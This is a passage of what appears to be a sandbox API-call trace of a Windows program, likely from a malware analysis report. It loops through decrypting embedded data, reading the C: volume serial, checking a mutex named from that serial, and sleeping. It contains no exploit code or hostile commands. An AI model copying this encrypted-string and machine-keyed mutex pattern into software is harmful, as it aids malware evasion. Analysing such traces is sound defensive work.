hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xabf7b8 | out: pbData=0xb81508, pdwDataLen=0xabf7b8) returned 1 [0038.234] CryptDestroyKey (hKey=0x58b138) returned 1 [0038.234] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb81530 [0038.234] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb85508 [0038.234] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85530 [0038.234] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x58b138) returned 1 [0038.234] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0038.441] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85530, pdwDataLen=0xabf790 | out: pbData=0xb85530, pdwDataLen=0xabf790) returned 1 [0038.441] CryptDestroyKey (hKey=0x58b138) returned 1 [0038.441] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85530 | out: hHeap=0xb80000) returned 1 [0038.441] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb81530, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0038.441] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0038.441] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0038.441] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0038.441] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81530 | out: hHeap=0xb80000) returned 1 [0038.441] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb81508 [0038.441] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x58b138) returned 1 [0038.441] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0038.441] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xabf7ec | out: pbData=0xb81508, pdwDataLen=0xabf7ec) returned 1 [0038.441] CryptDestroyKey (hKey=0x58b138) returned 1 [0038.441] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb85508 [0038.441] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x118 [0038.441] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0038.441] CloseHandle (hObject=0x118) returned 1 [0038.442] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0038.442] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0038.442] Sleep (dwMilliseconds=0x3e8) [0041.871] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb81508 [0041.871] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x58b138) returned 1 [0041.872] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0041.872] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xabf7b8 | out: pbData=0xb81508, pdwDataLen=0xabf7b8) returned 1 [0041.872] CryptDestroyKey (hKey=0x58b138) returned 1 [0041.872] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb81530 [0041.872] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb85508 [0041.872] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85530 [0041.872] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x58b138) returned 1 [0041.872] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0041.872] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85530, pdwDataLen=0xabf790 | out: pbData=0xb85530, pdwDataLen=0xabf790) returned 1 [0041.872] CryptDestroyKey (hKey=0x58b138) returned 1 [0041.872] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85530 | out: hHeap=0xb80000) returned 1 [0041.872] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb81530, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0041.872] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0041.872] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0041.872] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0041.873] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81530 | out: hHeap=0xb80000) returned 1 [0041.873] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb81508 [0041.873] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x58b138) returned 1 [0041.873] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0041.873] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xabf7ec | out: pbData=0xb81508, pdwDataLen=0xabf7ec) returned 1 [0041.873] CryptDestroyKey (hKey=0x58b138) returned 1 [0041.873] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb85508 [0041.873] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x118 [0041.873] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0041.873] CloseHandle (hObject=0x118) returned 1 [0041.873] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0041.873] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0041.873] Sleep (dwMilliseconds=0x3e8) [0042.992] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb81508 [0042.992] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x58b138) returned 1 [0042.992] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0042.992] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xabf7b8 | out: pbData=0xb81508, pdwDataLen=0xabf7b8) returned 1 [0042.992] CryptDestroyKey (hKey=0x58b138) returned 1 [0042.992] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb81530 [0042.992] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb85508 [0042.992] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85530 [0042.992] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x58b138) returned 1 [0042.993] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0043.085] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85530, pdwDataLen=0xabf790 | out: pbData=0xb85530, pdwDataLen=0xabf790) returned 1 [0043.085] CryptDestroyKey (hKey=0x58b138) returned 1 [0043.126] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85530 | out: hHeap=0xb80000) returned 1 [0043.126] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb81530, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0043.126] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0043.126] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0043.126] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0043.126] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81530 | out: hHeap=0xb80000) returned 1 [0043.126] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb81508 [0043.126] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x58b138) returned 1 [0043.126] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0043.126] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xabf7ec | out: pbData=0xb81508, pdwDataLen=0xabf7ec) returned 1 [0043.126] CryptDestroyKey (hKey=0x58b138) returned 1 [0043.126] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb85508 [0043.126] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x118 [0043.126] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0043.126] CloseHandle (hObject=0x118) returned 1 [0043.126] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0043.126] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0043.126] Sleep (dwMilliseconds=0x3e8) [0044.390] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb81508 [0044.390] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x58b138) returned 1 [0044.390] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0044.390] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xabf7b8 | out: pbData=0xb81508, pdwDataLen=0xabf7b8) returned 1 [0044.390] CryptDestroyKey (hKey=0x58b138) returned 1 [0044.390] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb81530 [0044.390] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb85508 [0044.390] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85530 [0044.390] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x58b138) returned 1 [0044.390] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0044.390] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85530, pdwDataLen=0xabf790 | out: pbData=0xb85530, pdwDataLen=0xabf790) returned 1 [0044.390] CryptDestroyKey (hKey=0x58b138) returned 1 [0044.390] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85530 | out: hHeap=0xb80000) returned 1 [0044.390] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb81530, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0044.390] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0044.390] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0044.390] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0044.391] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81530 | out: hHeap=0xb80000) returned 1 [0044.391] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb81508 [0044.391] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x58b138) returned 1 [0044.391] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0044.391] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xabf7ec | out: pbData=0xb81508, pdwDataLen=0xabf7ec) returned 1 [0044.391] CryptDestroyKey (hKey=0x58b138) returned 1 [0044.391] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb85508 [0044.391] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x118 [0044.391] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0044.391] CloseHandle (hObject=0x118) returned 1 [0044.391] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0044.391] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0044.391] Sleep (dwMilliseconds=0x3e8) [0046.633] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb81508 [0046.633] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x58b138) returned 1 [0046.633] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0046.633] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xabf7b8 | out: pbData=0xb81508, pdwDataLen=0xabf7b8) returned 1 [0046.633] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.633] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb81530 [0046.633] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb85508 [0046.633] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb85530 [0046.633] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x58b138) returned 1 [0046.633] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0046.633] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb85530, pdwDataLen=0xabf790 | out: pbData=0xb85530, pdwDataLen=0xabf790) returned 1 [0046.633] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.633] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85530 | out: hHeap=0xb80000) returned 1 [0046.634] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb81530, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0046.634] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0046.634] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0046.634] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0046.634] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81530 | out: hHeap=0xb80000) returned 1 [0046.634] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb81508 [0046.634] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x58b138) returned 1 [0046.634] CryptSetKeyParam (hKey=0x58b138, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0046.634] CryptDecrypt (in: hKey=0x58b138, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb81508, pdwDataLen=0xabf7ec | out: pbData=0xb81508, pdwDataLen=0xabf7ec) returned 1 [0046.634] CryptDestroyKey (hKey=0x58b138) returned 1 [0046.634] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb85508 [0046.634] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x118 [0046.634] WaitForSingleObject (hHandle=0x118, dwMilliseconds=0x0) returned 0x102 [0046.634] CloseHandle (hObject=0x118) returned 1 [0046.635] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb81508 | out: hHeap=0xb80000) returned 1 [0046.635] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb85508 | out: hHeap=0xb80000) returned 1 [0046.635] Sleep (dwMilliseconds=0x3e8) [0048.300] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb86228 [0048.300] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x593220) returned 1 [0048.300] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0048.301] CryptDecrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7b8 | out: pbData=0xb86228, pdwDataLen=0xabf7b8) returned 1 [0048.301] CryptDestroyKey (hKey=0x593220) returned 1 [0048.301] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb86250 [0048.301] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb86278 [0048.301] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb862a0 [0048.301] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x593220) returned 1 [0048.301] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0048.301] CryptDecrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb862a0, pdwDataLen=0xabf790 | out: pbData=0xb862a0, pdwDataLen=0xabf790) returned 1 [0048.301] CryptDestroyKey (hKey=0x593220) returned 1 [0048.301] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb862a0 | out: hHeap=0xb80000) returned 1 [0048.301] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb86250, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0048.301] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86278 | out: hHeap=0xb80000) returned 1 [0048.301] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0048.301] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0048.301] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86250 | out: hHeap=0xb80000) returned 1 [0048.301] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb86228 [0048.301] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x593220) returned 1 [0048.301] CryptSetKeyParam (hKey=0x593220, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0048.301] CryptDecrypt (in: hKey=0x593220, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7ec | out: pbData=0xb86228, pdwDataLen=0xabf7ec) returned 1 [0048.301] CryptDestroyKey (hKey=0x593220) returned 1 [0048.301] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb86270 [0048.301] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x19c [0048.301] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0x0) returned 0x102 [0048.301] CloseHandle (hObject=0x19c) returned 1 [0048.301] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0048.301] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86270 | out: hHeap=0xb80000) returned 1 [0048.302] Sleep (dwMilliseconds=0x3e8) [0049.628] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb86228 [0049.628] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x5930a0) returned 1 [0049.628] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0049.628] CryptDecrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7b8 | out: pbData=0xb86228, pdwDataLen=0xabf7b8) returned 1 [0049.628] CryptDestroyKey (hKey=0x5930a0) returned 1 [0049.628] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x1e) returned 0xb86250 [0049.628] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x1e) returned 0xb86278 [0049.628] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x90) returned 0xb862a0 [0049.629] CryptImportKey (in: hProv=0x585138, pbData=0xabf774, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf7dc | out: phKey=0xabf7dc*=0x5930a0) returned 1 [0049.629] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0xabf7c4, dwFlags=0x0) returned 1 [0049.629] CryptDecrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb862a0, pdwDataLen=0xabf790 | out: pbData=0xb862a0, pdwDataLen=0xabf790) returned 1 [0049.629] CryptDestroyKey (hKey=0x5930a0) returned 1 [0049.629] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb862a0 | out: hHeap=0xb80000) returned 1 [0049.629] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xb86250, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0049.629] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86278 | out: hHeap=0xb80000) returned 1 [0049.629] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0049.629] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xabf844, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xabf844*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0049.629] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86250 | out: hHeap=0xb80000) returned 1 [0049.629] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x40) returned 0xb86228 [0049.629] CryptImportKey (in: hProv=0x585138, pbData=0xabf7d0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf838 | out: phKey=0xabf838*=0x5930a0) returned 1 [0049.629] CryptSetKeyParam (hKey=0x5930a0, dwParam=0x1, pbData=0xabf820, dwFlags=0x0) returned 1 [0049.629] CryptDecrypt (in: hKey=0x5930a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7ec | out: pbData=0xb86228, pdwDataLen=0xabf7ec) returned 1 [0049.629] CryptDestroyKey (hKey=0x5930a0) returned 1 [0049.629] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, Size=0x34) returned 0xb86270 [0049.629] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\10969C354B4200") returned 0x174 [0049.629] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0x0) returned 0x102 [0049.629] CloseHandle (hObject=0x174) returned 1 [0049.629] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86228 | out: hHeap=0xb80000) returned 1 [0049.629] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0xb86270 | out: hHeap=0xb80000) returned 1 [0049.629] Sleep (dwMilliseconds=0x3e8) [0050.976] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x0, Size=0x20) returned 0xb86228 [0050.976] CryptImportKey (in: hProv=0x585138, pbData=0xabf79c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0xabf804 | out: phKey=0xabf804*=0x5931e0) returned 1 [0050.976] CryptSetKeyParam (hKey=0x5931e0, dwParam=0x1, pbData=0xabf7ec, dwFlags=0x0) returned 1 [0050.976] CryptDecrypt (in: hKey=0x5931e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xb86228, pdwDataLen=0xabf7b8 | out: pbData=0xb86228, pdwDataLen=0xabf7b8) returned 1 [0050.976] CryptDestroyKey (hKey=0x5931e0) returned 1 [0050.976] RtlAllocateHeap (HeapHandle=0xb80000, Flags=0x8, 